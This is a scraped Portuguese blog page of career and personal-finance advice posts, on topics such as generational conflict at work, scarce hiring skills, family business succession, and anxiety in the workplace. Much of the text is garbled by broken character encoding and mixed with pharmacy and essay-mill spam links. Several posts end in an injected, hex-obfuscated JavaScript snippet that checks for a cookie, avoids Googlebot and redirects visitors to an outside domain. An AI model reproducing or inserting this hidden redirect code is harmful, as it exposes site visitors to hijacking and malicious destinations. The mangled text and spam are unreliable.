O que está por trás dos conflitos geracionais que aparecem nas organizações quando se trata das diferentes percepções entre os jovens profissionais e aqueles mais antigos e experientes?
A resposta para esta questão está bastante relacionada ao domínio da tecnologia e a capacidade de resposta que essas novas ferramentas proporcionam para as diferentes situações. Neste novo mundo de possibilidades tecnológicas, é muito comum encontrar pessoas que acreditam que a tecnologia pode dar conta de tudo e que as velhas práticas não mais atendem à realidade atual. Neste sentido, aqueles que dominam as novas “ferramentas” acabam imbuídos de um certo poder, em detrimento daqueles que apostam mais na experiência para solucionar os problemas do dia a dia.
Essa distorção em relação à tecnologia leva muitos jovens profissionais a desconsiderarem a necessidade de contar com o apoio e a orientação daqueles que já acumularam um conjunto significativo de conhecimentos ao longo da trajetória profissional. A nova geração, às vezes, tem dificuldade de entender que nada substitui anos de vivência e prática, e que a maturidade profissional traz ganhos que só com o avanço da carreira eles poderão compreender. Para chegar num lugar diferenciado será preciso ouvir muito os mais velhos, aceitar críticas e respeitar a experiência.
Por outro lado, é muito importante, também, que as gerações mais antigas estejam abertas para absorver e usufruir do “universo” da tecnologia. Como qualquer relação, esta também deve ser uma via de mão dupla, onde todos saem ganhando. Por isso, é essencial que as empresas invistam em práticas de integração e troca de conhecimentos, fazendo com que cada um possa oferecer o melhor da sua contribuição.
E para que as duas gerações se entendam e se valorizem, é importante que alguns pontos fiquem claros para evitar atritos. Superar as diferenças de pensamento, respeitar as opiniões contrárias e ter disposição para aprender são alguns preceitos que devem orientar essa relação. Compreendendo o ganho que esta interação pode representar para as empresas e para os profissionais, será muito mais fácil fazer desse confronto de ideias uma troca sadia e produtiva.
Continuando a abordar as competências escassas nos profissionais brasileiros, vimos na pesquisa utilizada como referência no artigo anterior que além de conhecimento, as empresas estão, cada vez mais, buscando candidatos que apresentem um conjunto de habilidades e atitudes “diferenciadas”. É importante, entretanto, compreender que algumas dessas competências podem ser mais “sofisticadas”, exigentes e, portanto, pressupõem um pouco de prática.
O jovem profissional que está ingressando no mercado de trabalho, ainda com pouca experiência, pode ter mais dificuldade em apresentar para o empregador algumas das competências que a pesquisa apontou como essenciais. Por exemplo, o pensamento crítico ou a capacidade de tomar decisões rápidas. Estas duas, em especial, são competências que são desenvolvidas ou apuradas de acordo com a maturidade profissional e a vivência, ou seja, requerem um pouco mais de tempo de carreira, coisa que o jovem ainda está construindo.
Ao mesmo tempo, também é comum encontrar jovens que possuem um conjunto de características individuais que permitem que seu desenvolvimento ocorra de forma mais acelerada. Por exemplo, aqueles mais ousados e criativos costumam obter resultados mais expressivos, já que normalmente são pessoas que se expõem às situações e com isso avançam mais rápido no caminho da experiência. Com uma boa orientação conseguem se desenvolver mais rápido e, por isso, são opções mais viáveis de contratação pelo potencial que possuem. Com um bom tutor, esses profissionais podem realmente ir longe.
Mas aqueles que não possuem um perfil mais arrojado não precisam perder as esperanças. Pelo contrário, grande parte das habilidades e atitudes exigidas no mercado de trabalho pode ser desenvolvida com a experiência. Vai exigir muito esforço, dedicação, prática e vivência. Pode ser que leve algum tempo, mas sem dúvida qualquer profissional pode chegar lá!
http://adie-cupu.mhs.narotama.ac.id/2018/02/13/ivermectin-stromectol-where-to-buy/ 
http://spvgas.com/?p=810 http://chaldecott.com/?p=727 Falamos recentemente sobre o interesse das organizaAi??Ai??es em profissionais com perfil empreendedor. Entretanto, um estudo recente da consultoria de educaAi??A?o corporativa AfferoLab constatou que, entre os fatores que mais travam as contrataAi??Ai??es no paAi??s, estA? a dificuldade de encontrar candidatos com algumas das competA?ncias consideradas essenciais pelas empresas, entre elas o empreendedorismo.
AlAi??m da atitude empreendedora, outras duas competA?ncias ficaram no topo da lista indicada pela pesquisa: a capacidade de resolver problemas complexos em primeiro lugar e o pensamento crAi??tico em segundo. Tanto uma quanto a outra foram consideradas pelos empregadores como caracterAi??sticas essenciais que estA?o escassas no mercado.
Outras habilidades tambAi??m foram citadas no ranking, como criatividade, raciocAi??nio lA?gico, boa comunicaAi??A?o oral e escrita, entre outras. Sob o impacto dessa escassez de competA?ncias, mais de 40% dos entrevistados, empregadores, afirmaram que deixam de preencher vagas porque nA?o encontram a maioria das competA?ncias necessA?rias nos candidatos disponAi??veis.
O resultado dessa pesquisa mostra que, de um modo geral, profissionais tA?m investido na busca de conhecimentos e especializaAi??Ai??es, porAi??m, tA?m se preocupado pouco no desenvolvimento de habilidades e atitudes que podem fazer a diferenAi??a diante de uma situaAi??A?o de dificuldade ou de maior complexidade.
Fica, entA?o, a liAi??A?o para os jovens profissionais que estA?o em busca de oportunidades. As empresas estA?o cada vez mais exigentes na hora de contratar e exigem habilidades que poucas pessoas tA?m. Os profissionais precisam ser capazes de tomar decisAi??es rA?pidas diante de problemas cotidianos e assumir riscos. AlAi??m disso, precisam conseguir ter um olhar mais crAi??tico em relaAi??A?o Ai?? atual rotina e aos processos padrA?o, conseguindo assim promover mudanAi??as no caminho da melhoria.
Por isso, mais do que nunca, Ai?? hora de investir em qualificaAi??A?o, buscando, alAi??m de conhecimentos, desenvolver um conjunto de habilidades e atitudes que farA?o a diferenAi??a no momento da contrataAi??A?o.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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Ai?? http://chaldecott.com/?p=731 http://calusitas.com/?p=1547 muito comum encontrarmos profissionais com pouca experiA?ncia em negA?cios que se aventuram no novo mundo que Ai?? ser dono do prA?prio empreendimento. Entretanto, muitos jovens empresA?rios, na ansiedade de ganhar dinheiro, acabam esquecendo premissas essenciais da gestA?o financeira: fluxo de caixa e reserva financeira.
JA? falamos algumas vezes das competA?ncias que esses profissionais precisam ter, ou que pelo menos seria bom que tivessem. Mas outra questA?o muito importante Ai?? compreender que um negA?cio, para crescer, precisa de fA?lego financeiro, ou seja, uma reserva no caixa.
ComeAi??ar um negA?cio com pouco dinheiro, sem garantir um fluxo financeiro de alguns meses Ai?? frente, Ai?? um risco alto. Dificilmente ele darA? resultado nos primeiros meses e os empreendedores precisarA?o ter uma reserva para, nesse meio tempo, cobrir algumas despesas atAi?? que a situaAi??A?o se estabilize.
Outro ponto importante sobre o fluxo de caixa Ai?? que, mesmo quando comeAi??ar a ter resultados, os empresA?rios devem ter em mente que nA?o se deve pensar em distribuiAi??A?o de lucro atAi?? que a empresa tenha uma reserva financeira que permita passar por situaAi??Ai??es de aperto de caixa, queda de receita ou atAi?? mesmo que permita realizar novos investimentos de melhoria para o negA?cio.
Esse Ai?? o caminho mais seguro para o crescimento e o empreendedor deve pensar primeiro na estabilidade da empresa e nA?o no seu patrimA?nio pessoal. Claro, quando a situaAi??A?o se estabilizar, aAi?? sim serA? hora de tirar proveito de tanto esforAi??o e investimento.
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O sonho de muitos pais, donos de empresas, Ai?? ver o seu legado perpetuando sob o comando de seus filhos. Entretanto, muitas vezes, nA?o Ai?? o que acontece, seja porque o herdeiro nA?o tem aptidA?o para a gestA?o, interesse pela empresa ou por ter decidido fazer carreira em outra A?rea. Como tratar esta situaAi??A?o?
Frustrados, muitos pais acabam usando alguns artifAi??cios na tentativa de fazer com que o filho permaneAi??a nos negA?cios. A forma mais comum de pressionar Ai?? apelando para o bolso, oferecendo salA?rios acima da mAi??dia jA? no inAi??cio da carreira na empresa, quando a experiA?ncia ainda nA?o corresponde com a remuneraAi??A?o.
Outra atitude corriqueira Ai?? oferecer benefAi??cios que nem todos os executivos estratAi??gicos tA?m, colocando os herdeiros numa posiAi??A?o privilegiada que, certamente, incomoda aos demais. Ou seja, na tentativa de manter os filhos no poder, os pais entendem que vale tudo, mas se enganam.
Os riscos de manter um herdeiro no negA?cio quando nA?o Ai?? sua escolha ou vocaAi??A?o Ai??, para o filho, optar por um caminho que nA?o o levarA? a realizaAi??A?o profissional. Ao mesmo tempo, fazer uma escolha diferente, contrariando as expectativas da famAi??lia, tambAi??m nA?o Ai?? nada fA?cil. JA? para a empresa, o risco Ai?? ter um profissional pouco envolvido e motivado com o negA?cio. Ele pode ter muita dificuldade em encontrar um lugar satisfatA?rio, uma A?rea de trabalho com a qual se identifique, alAi??m de fazer menos investimentos no seu desenvolvimento.
Com isso, o desempenho profissional serA? comprometido, sem falar das possAi??veis dificuldades que terA? por ocupar uma posiAi??A?o apenas por ser filho do dono e nA?o por competA?ncia. Por isso, a recomendaAi??A?o para os pais Ai?? que aceitem a decisA?o de seus filhos e apoiem. O mA?ximo que podem fazer Ai?? um tempo de teste na empresa para ajudar na decisA?o do herdeiro.
PorAi??m, caso a opAi??A?o seja mesmo a saAi??da do negA?cio, facilite. Ai?? a melhor forma de preservar a relaAi??A?o da famAi??lia, o futuro da empresa e a satisfaAi??A?o profissional do seu filho. Para a empresa existirA?o alternativas. Buscar no mercado um executivo e preparA?-lo para tocar os negA?cios Ai?? uma delas.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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Apesar da realização profissional ser algo bastante almejado, cada vez mais a aspiração financeira está no foco principal dos jovens profissionais. Ou seja, muitos escolhem qual carreira seguir pela média salarial ou buscam empregos em empresas que pagam mais. Mas é preciso atentar que só um contracheque “gordo” não é sinônimo de tranquilidade financeira. É preciso planejamento.
É muito comum encontrarmos profissionais que conseguiram atingir bons patamares na carreira, com altos salários, mas que mantém a sensação de que ainda precisam de mais. O que ganham não é suficiente para manter um padrão de vida “ideal”. Eles terão dificuldade, por exemplo, de realizar despesas mais altas que estejam fora da rotina, como uma viagem mais dispendiosa com toda a família, comprar um bem que exija uma entrada maior, etc.
Em geral, esses profissionais não são endividados, mas por mais que ganhem, só pagam as despesas e não sobra nada no fim do mês. O que acontece é que, normalmente, eles não têm o hábito de realizar um planejamento financeiro. Adaptamos nosso padrão de vida ao que ganhamos e crescemos as despesas na mesma proporção que aumentamos a remuneração. O resultado disso é que sobra pouco ou não sobra nada para poupar.
A falta de programação financeira, portanto, e não a falta de dinheiro, é que acaba sendo a grande vilã na realização dos projetos pessoais e sonhos. Como consequência, tem-se profissionais frustrados com a própria carreira e acreditando que trabalham muito e que o retorno é desproporcional. Essa percepção equivocada que culpa a remuneração e protege o profissional de encarar a necessidade de guardar dinheiro precisa ser modificada. A questão é que muitas pessoas têm dificuldade de reconhecer esta fragilidade e preferem continuar responsabilizando o “curto salário”.
Para mudar este cenário é fundamental que se mude o comportamento diante do dinheiro. Por isso, é preciso fazer, com frequência, a si mesmo a seguinte pergunta: Se a partir de hoje eu não recebesse mais o meu ganho mensal, por quanto tempo conseguiria manter meu padrão de vida atual? A resposta vai fazer qualquer pessoa perceber a importância de ter um planejamento financeiro para o futuro, entendendo que poupar é a forma ideal para realizar seus projetos e garantir sua tranquilidade.
Algumas profissões demandam muito tempo do profissional e exigem uma dedicação de horas elevada, às vezes muito além do tempo de expediente convencional. Quanto mais estratégico é o profissional, maior é o grau de comprometimento e preocupação com o trabalho. Nesses casos, ter o apoio da família para aguentar a pressão do dia a dia é fundamental.
Conforme vai crescendo na carreira, o profissional vê aumentar, também, a responsabilidade e a dedicação ao trabalho. E quando o cargo envolve viagens constantes, noites e finais de semana fora de casa, fica ainda mais difícil conseguir tempo para as demandas pessoais. Nestas horas, ter o apoio da família para aguentar a pressão do dia a dia é fundamental, mas muitas vezes não é o que acontece.
A família, naturalmente, começa a sentir falta da presença da pessoa e passa a também fazer pressão para diminuir a carga de trabalho. Pode-se dizer que é o início de um pesadelo; dar conta das atividades profissionais e ainda administrar a insatisfação familiar. É uma situação mais comum do que parece. E quais são as alternativas?
É importante jogar aberto com os familiares. Para crescer na carreira, provavelmente, o profissional terá que suportar um tempo mais difícil e com mais restrições na vida pessoal. A tendência é que depois a situação se acomode e melhore, mas todo início costuma ser mais exigente. Por isso, ter uma conversa com a família, explicar a situação e buscar apoio é essencial.
Até porque, nos dias de hoje, com tanta dificuldade para se conseguir um emprego, não é o melhor momento para abrir mão do que se tem. Porém, se a conversa com a família não surtir efeito e se não se consegue ter visibilidade de um prazo para que a demanda melhore, mais cedo ou mais tarde o profissional terá que tomar uma decisão. Ou seja, provavelmente precisará abrir mão do seu projeto profissional ou familiar, pois essa pressão, com o tempo, torna-se insuportável e termina causando perda de desempenho e adoecimento.
Com o crescimento das redes sociais e a maior exposição das pessoas e de suas vidas particulares na internet, é preciso ter um pouco mais de atenção para não prejudicar a própria imagem nessa época de Carnaval.
Carnaval é sinônimo de alegria, festa e descontração, mas o cuidado com a imagem profissional não deve ser esquecido mesmo naqueles momentos mais pessoais. Não adianta pensar que os outros não têm a ver com sua vida fora do trabalho porque, hoje em dia, as coisas não são bem assim.
O que você faz no seu tempo livre é também de interesse das empresas e pode ser relevante na hora de disputar uma vaga de emprego, inclusive. Cada vez mais, as empresas se preocupam em ter profissionais que não coloquem em risco a sua imagem e, junto com ela, a da organização.
Portanto, principalmente em épocas como o Carnaval, é fundamental ter atenção redobrada para selecionar que tipo de assuntos comentar nas redes sociais, que tipo de posts compartilhar e quais fotos pode expor sem se comprometer no futuro, por exemplo.
Isso não significa que você não possa fazer uso das mídias, consumir bebidas alcoólicas, usar as roupas descontraídas típicas das festas de Carnaval, etc. O cuidado deve ser com o grau de exposição que possa comprometer sua imagem.
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No mundo de hoje, em que as notAi??cias chegam de forma avassaladora pelas mAi??dias disponAi??veis e que existem cada vez mais formas de trocar informaAi??Ai??es com outras pessoas, manter-se informado e organizar o prA?prio tempo estA? se tornando um desafio.
Ler e dar retorno aos e-mails, acompanhar o que sai de mais importante nas redes sociais, ler as matAi??rias mais relevantes dos blogs de notAi??cias, acompanhar os grupos do Whatsapp para manter a interaAi??A?o com a famAi??lia, amigos e trabalho, fazer leituras especializadas, etc. No fim do dia, parece nA?o sobrar tempo para mais nada, e se deixarmos, nA?o sobra mesmo.
Todo esse mundo de possibilidades lhe consome e vocA? passa o dia todo em torno disso. Diante dessa realidade totalmente conectada em que vivemos, organizar-se e saber selecionar bem as informaAi??Ai??es e notAi??cias se tornou fundamental. Entender que a comunicaAi??A?o Ai?? imediata, mas que a reposta quase sempre pode esperar um pouco Ai?? uma boa dica para ajudar na organizaAi??A?o do seu tempo. Afinal, nA?o dA? para parar o que estA? fazendo o tempo todo para responder mensagens do Whatsapp, por exemplo.
Ao mesmo tempo, Ai?? preciso dar retorno das demandas, acompanhar suas redes sociais para saber o que estA? sendo comentado e responder comentA?rios importantes, o que Ai?? de bom tom. Para tanto, organize seu tempo, estabeleAi??a prioridades, crie uma rotina para o uso das redes sociais e selecione leituras importantes. Com organizaAi??A?o, Ai?? possAi??vel ficar antenado nos assuntos de que vocA? mais gosta, sem prejudicar o trabalho e nem ter uma ai???overdoseai??? de informaAi??Ai??es.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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http://sabordebeijo.com.br/cheap-minomycin-medicines/
http://www.bacsichuaungthu.com/write-my-essay.html http://www.ademkotan.com/?p=4035 A sociedade de hoje Ai?? marcada pelo excesso de ansiedade e cada vez mais um nA?mero maior de pessoas vem sofrendo com este mal. SA?o muitos os efeitos de um quadro ansioso, alguns mais leves e fA?ceis de administrar, e outros mais difAi??ceis, mas que de uma forma ou de outra, quando nA?o tratados, sA?o capazes de impactar diretamente no desenvolvimento de uma carreira profissional.
Medos, angA?stia, estresse, dificuldade de concentraAi??A?o, sudorese, episA?dios de esquecimento; todos esses sA?o sintomas relacionados em alguma medida com a ansiedade. Quando afloram, podem ter efeitos devastadores na vida de muita gente, e no A?mbito do trabalho nA?o Ai?? diferente. Algumas pessoas desenvolvem reaAi??Ai??es que podem prejudicar e muito suas carreiras, a depender da atividade que desempenham e do cargo que ocupam.
Por exemplo, profissionais que tA?m medo de aviA?o ao ponto de nA?o encararem uma viagem aAi??rea, terA?o mais dificuldade de disputar uma vaga ou concorrer a uma promoAi??A?o quando o cargo exigir viajar. Quando o medo Ai?? de elevador o problema serA? encarar uma visita importante a algum cliente que tenha o escritA?rio em andar mais alto. Outra situaAi??A?o comum Ai?? a dificuldade de se expor ou falar em pA?blico; quem Ai?? muito ansioso pode travar, vAi??tima do chamado ai???dar um brancoai???, e nA?o consegue dizer nada. Este profissional, provavelmente, terA? bastante dificuldade de assumir um cargo de lideranAi??a ou que exija que ele represente a empresa para o mercado.
Enfim, esses sA?o apenas alguns exemplos do efeito danoso de quando o quadro ansioso foge ao controle e os sintomas dominam o comportamento da pessoa. Ai?? importante nA?o omitir as dificuldades e conversar sobre alternativas possAi??veis para cada situaAi??A?o. Em paralelo, investigar as causas e buscar tratamento Ai?? fundamental para garantir seu lugar no negA?cio e o seu crescimento profissional.
Infelizmente, a tolerA?ncia das pessoas tem limites e a empresa nA?o pode colocar seus resultados em risco em funAi??A?o de questAi??es pessoais dos empregados. Por mais difAi??cil que seja, busque ajuda especializada fora da empresa e, dentro dela, o apoio dos colegas. var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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